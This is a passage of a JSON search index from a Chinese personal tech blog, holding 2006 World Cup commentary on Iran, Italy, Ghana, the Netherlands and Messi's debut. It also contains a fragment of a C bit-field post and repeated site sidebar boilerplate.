href=\"http://www.chinaunix.net/\"\u003eChinaUnix\u003c/a\u003e上看了几篇关于C语言\u0026rsquo;位域(Bit Fields)\u0026lsquo;的帖子之后，才想写下这篇文章的。其实在平时的工作中很少使用到\u0026rsquo;位域\u0026rsquo;，我是搞服务器端程序设计的，大容量的内存可以让我毫不犹豫的任意\u0026rsquo;挥霍\u0026rsquo;^_^。想必搞嵌入式编程的朋友们对位域的使用应该不陌生吧。这里我也仅仅是凭着对C语言钻研的兴趣来学习一下\u0026rsquo;位域\u0026rsquo;的相关知识的，可能有些说法没有实践，缺乏说服力。\u003c/p\u003e","title":"理解’位域’"},{"content":"第一支出局的亚洲球队终于诞生了！那就是我们中国队的老对手伊朗队！\n伊朗队在世界杯开赛前还是比较被看好的，毕竟中前场有多达5名球员在德甲上游俱乐部踢球，可以由于第一场对墨西哥队上半场拼得过猛导致下半场防线崩溃！这场与葡萄牙的比赛伊朗队显然是吸取了上一场的教训，选择了适当的战术，但是毕竟实力有限，锋线浪费的机会也很多，感觉伊朗的中前场不善于打反击，是不是伊朗在足球水平较低的亚洲打弱队打惯了，如果伊朗有一个类似中国队郑智风格的善于直塞的中场球员可能会好些！\n伊朗队不行，葡萄牙队也没好哪去，两个队合演了一场糟糕的比赛，当然德科的那脚即兴进球还是很精彩的。最讨厌的就是那个C.罗纳尔多，竟在那吓带，我就没见他成功突破形成威胁过。记得以前巴西队有个所谓的盘球大师叫德尼尔森的，结果其下场并不咋的，劝C.罗纳尔多收敛些，多训练下自己的大局观和传球，要不下场比德尼尔森好不了哪去。\n以上就是看完葡萄牙和伊朗队比赛后的感受！\n","permalink":"https://tonybai.com/2006/06/18/the-first-washed-out-asian-football-team-come-out/","summary":"\u003cp\u003e第一支出局的亚洲球队终于诞生了！那就是我们中国队的老对手伊朗队！\u003c/p\u003e\n\u003cp\u003e伊朗队在世界杯开赛前还是比较被看好的，毕竟中前场有多达5名球员在德甲上游俱乐部踢球，可以由于第一场对墨西哥队上半场拼得过猛导致下半场防线崩溃！这场与葡萄牙的比赛伊朗队显然是吸取了上一场的教训，选择了适当的战术，但是毕竟实力有限，锋线浪费的机会也很多，感觉伊朗的中前场不善于打反击，是不是伊朗在足球水平较低的亚洲打弱队打惯了，如果伊朗有一个类似中国队郑智风格的善于直塞的中场球员可能会好些！\u003c/p\u003e","title":"第一支出局的亚洲球队诞生了！"},{"content":"很遗憾没有坚持看今晨的两场比赛，其实也不奇怪，意大利对美国，意大利历史上从未输过美国，这次也没有，不过其过程可谓’波澜起伏’；捷克对加纳，如果第一场捷克队不是以3:0干掉美国的话，这场我就会看的，正是由于捷克人状态不错，让我简单的以为加纳队不会给捷克人带来太多的麻烦，结果我错了。科特迪瓦人的战斗精神遗传给了加纳人，再加上加纳人把我机会的能力更胜一筹，捷克人也没有了荷兰人的好运而倒下了，这一倒下不要紧，昨天刚刚提前死了的’死亡之组’今天又复活了。\n由于没有看到比赛，所以这里自然没有太多可说的，只是从媒体得知比赛的过程，意大利的后防线好像一直是怪异乌龙的制造基地，号称’钢筋混凝土’的意大利后防线，其中总是有那么一两只白蚁在挖洞。这场比赛让我想起了02年世界杯韩国队和意大利队的比赛了，刚刚被媒体称为露出冠军相的意大利队在美国人身上露出了真面目。\n捷克队显然是有些老迈了，再加上加纳新军的’初生牛犊不怕虎’，2:0的比分还是合情合理的，回想一下去年秘鲁世少赛那支被中国小将挤出复赛的加纳相信大家对加纳的未来都有数。如果加纳队把握好最后一场小组赛，它也许就真正开始了其黑马之路。\n期待’死亡之组’之死亡时刻的到来！\n","permalink":"https://tonybai.com/2006/06/18/the-dead-group-reborn/","summary":"\u003cp\u003e很遗憾没有坚持看今晨的两场比赛，其实也不奇怪，意大利对美国，意大利历史上从未输过美国，这次也没有，不过其过程可谓’波澜起伏’；捷克对加纳，如果第一场捷克队不是以3:0干掉美国的话，这场我就会看的，正是由于捷克人状态不错，让我简单的以为加纳队不会给捷克人带来太多的麻烦，结果我错了。科特迪瓦人的战斗精神遗传给了加纳人，再加上加纳人把我机会的能力更胜一筹，捷克人也没有了荷兰人的好运而倒下了，这一倒下不要紧，昨天刚刚提前死了的’死亡之组’今天又复活了。\u003c/p\u003e","title":"今晨'死亡之组'复活!"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2006/06/18/show-my-laptop/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"秀一下我的'本本'"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2006/06/18/attacked-by-unknown-living-being/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"遭遇'不明生物'攻击"},{"content":"裁判的终场哨声响起，荷兰人终于松了口气，因为他们知道如果比赛再继续哪怕几分钟，他们都有可能顶不住科特迪瓦人的进攻了。科特迪瓦人再次输球了，但却赢得了球迷的尊重。同样是输球，塞黑人则是颜面扫地，进取心全无，也恰恰是因为这两场输球，人们期待的死亡之组提前结束了’死亡之旅’。\n昨晚看完阿根廷的比赛，心里自然是愉悦，自己最喜欢的球队以一种痛快淋漓的方式完美的赢得了比赛，由于阿根廷比分领先较大，所以整场比赛看得比较轻松，缺少了那么一点点紧张感。相反自己并不十分关心的科特迪瓦和荷兰的比赛却让我的神经紧绷着，科队的前锋们浪费了太多的机会了，连老天都看不过去了，印象深刻的是那个9号，叫什么科内的队员，浪费的机会简直让人无法忍受，只怪科队教练为什么不早点把他换下来呢。如果换成阿根廷的前锋，我想这场比赛荷兰队就可能被灌成筛子，也许这就是传统强队和弱队的区别吧，进攻效率低的惊人，而在本届世界杯，进攻效率恰恰体现为决定比赛胜负的关键。\n再说说荷兰队，的确如人们所说第一场比赛中风光无限的罗本在本场比赛中就不那么风光了，进攻总是陷入单兵作战和越位的怪圈，和队友缺少配合，防守时罗本则显得太业余，简直就是个摆设。对比一下罗本和梅西，你可能会发现罗本可能只是个球星，但绝不可能成为绝对顶级的球星，而梅西却拥有着这些潜质。\n就剩下最后一场比赛了，阿根廷和荷兰争夺小组第一的比赛势必很好看，相信大多数球迷都会看好阿根廷人；科特迪瓦和塞黑也要为国家荣誉而战，死亡之组就这样结束了’死亡之旅’。\n","permalink":"https://tonybai.com/2006/06/17/dead-group-end-up-the-dead-trip/","summary":"\u003cp\u003e裁判的终场哨声响起，荷兰人终于松了口气，因为他们知道如果比赛再继续哪怕几分钟，他们都有可能顶不住科特迪瓦人的进攻了。科特迪瓦人再次输球了，但却赢得了球迷的尊重。同样是输球，塞黑人则是颜面扫地，进取心全无，也恰恰是因为这两场输球，人们期待的死亡之组提前结束了’死亡之旅’。\u003c/p\u003e","title":"'死亡之组'结束'死亡之旅'"},{"content":"如果说’巴蒂斯图塔’是潘帕斯高原的战神，那么小将梅西，我更愿意称他为潘帕斯高原的’精灵’。\n刚刚看完德国世界杯小组赛C组阿根廷和塞黑队的一场比赛，结果可能太出乎意料了，阿根廷人6:0几乎完美地让塞黑人卷铺盖走人了(虽然还存在渺茫的晋级希望)。整场比赛都在阿根廷人的节奏控制之下，当小将梅西上场时比分已经是4:0了。听说梅西是在去年的荷兰世青赛上，由于中国队没有机会和阿根廷交手，所以也没看过梅西的比赛，只是听说他被评为去年荷兰世青赛的金球奖和金靴奖，并且是一个很具天赋的球员，就连球王马拉多纳都说梅西是继承其衣钵的最佳人选。\n梅西替换梅开二度的罗格里格斯上场了，其良好的球感和沉稳的心理让我顿感吃惊，如果没记错，第二次拿球就给克雷斯波助攻一球，惊人的爆发力让塞黑的后卫措不及防，只能屡屡对梅西犯规，梅西这时真的就像一个’精灵’穿梭在高大的塞黑球员之间。而比赛最后几分钟特维斯的妙传也铸就了梅西世界杯处子秀的完美，梅西接到特维斯的传球后，利用速度摆脱防守球员突入禁区，在门前10米处右脚小角度推射近角得分，进球后的梅西表情依然镇定，好像在告诉世人：\u0026ldquo;这仅仅是我世界杯表演的开始！\u0026quot;。\n在阿根廷战神’巴蒂’之后，’精灵’梅西通过这场比赛进入了我的视野，我爱阿根廷队，我爱’精灵’梅西，阿根廷，期待你捧起’大力神杯’的那一刻！\n","permalink":"https://tonybai.com/2006/06/17/messi-the-genius-of-pampas/","summary":"\u003cp\u003e如果说’巴蒂斯图塔’是潘帕斯高原的战神，那么小将梅西，我更愿意称他为潘帕斯高原的’精灵’。\u003c/p\u003e\n\u003cp\u003e刚刚看完德国世界杯小组赛C组阿根廷和塞黑队的一场比赛，结果可能太出乎意料了，阿根廷人6:0几乎完美地让塞黑人卷铺盖走人了(虽然还存在渺茫的晋级希望)。整场比赛都在阿根廷人的节奏控制之下，当小将梅西上场时比分已经是4:0了。听说梅西是在去年的荷兰世青赛上，由于中国队没有机会和阿根廷交手，所以也没看过梅西的比赛，只是听说他被评为去年荷兰世青赛的金球奖和金靴奖，并且是一个很具天赋的球员，就连球王马拉多纳都说梅西是继承其衣钵的最佳人选。\u003c/p\u003e","title":"梅西-潘帕斯高原的'精灵'"},{"content":"下午到ChinaUnix 